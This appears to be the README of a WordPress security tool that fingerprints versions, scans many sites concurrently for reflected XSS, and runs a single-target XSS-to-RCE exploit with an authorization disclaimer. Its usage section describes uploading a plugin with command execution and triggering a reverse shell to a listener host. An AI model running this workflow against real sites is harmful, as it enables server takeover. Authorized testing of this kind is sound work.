mr-leonardogomes/xss2shell-cve-2026-64638WordPress security scanner that fingerprints versions, detects reflected XSS across multiple targets concurrently, and supports an authenticated XSS-to-RCE exploit workflow for authorized testing.
Developer: Credit: YogaGymn
PoC/scanning utility for authorized security testing on WordPress. The project contains an exploitation flow for a single target and a concurrent multi-target scan-only mode.
Important: Use this project only on WordPress installations you own or have explicit authorization to test. The multi-target scanner is intentionally limited to version identification and XSS reflection detection; it does not perform credential capture, plugin upload, or RCE against a list of targets.
The original script supports:
auto, xss, and direct modes.The added scanner supports:
ThreadPoolExecutor.The multi-target mode does not call the original RCE functions.
requestsInstall the dependency:
python3 -m pip install requests
If your Linux distribution uses an externally managed Python environment, use a virtual environment:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clone or copy the project: Original exploit by yogaGymn
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Or simply place:
xss2shell.py
in your working directory.
Create a file named targets.txt OU alvos.txt:
https://example1.test
https://example2.test
https://example3.test
Comments and empty lines are ignored:
# Authorized lab targets
https://example1.test
https://example2.test
Run the scanner:
python3 xss2shell.py -i targets.txt
The default concurrency is 10 workers.
For example, use 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
For a small lab:
python3 xss2shell.py -i targets.txt --workers 5
Do not choose an unnecessarily high number of workers, as this can increase connection load and trigger rate limits or defensive controls.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
The default scan_results.txt uses tab-separated fields:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Example:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Status Meaning
XSS_REFLECTION_DETECTED The scanner detected the tested
HTML reflection behavior. This is
not by itself proof of RCE.
XSS_NOT_DETECTED The tested reflection was not
detected.
ERROR The check encountered an exception.The scanner may report details such as:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDThese values describe the response observed by the detection routine; they must be manually validated before considering a result as a confirmed vulnerability.
The original script also supports single-target arguments.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
The XSS/direct workflows may create or activate a plugin containing command execution functionality. Use them only in an authorized test environment.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argument Description
target Single target URL.
-i, --input File containing multiple targets.
--output Output file for multi-target
results. Default:
scan_results.txt.
--workers Number of concurrent workers.
Default: 10.
--mode Original single-target mode:
auto, xss, or direct.
-u, --username WordPress username for the original
direct/fallback workflow.
-p, --password WordPress password for the original
direct/fallback workflow.
--lhost Callback/reverse-shell host for the
original PoC.
--lport Reverse-shell port. Default:
4444.
--slug Plugin slug. Default: xss2shell.
--callback-port Callback server port. Default:
9090.
--no-rev Skip reverse-shell triggering in
the original workflow.The multi-target mode uses the following Python resource:
ThreadPoolExecutor
Each target is submitted as an independent scanning task:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
Results are collected as tasks are completed, while the final output is generated following the original order of the targets.
The multi-target mode is designed for authorized security assessments and lab environments.
Recommended workflow:
targets.txt file.Do not use the scanner against third-party systems without permission.
The scanner is not a complete vulnerability assessment tool.
In particular:
unknown status does not mean the target is vulnerable..
├── xss2shell.py
├── targets.txt
└── scan_results.txt
There was no license information in the provided source code.
If this project is published publicly, add an explicit license file, such as LICENSE. This code is a further development of the original ZSecurity code.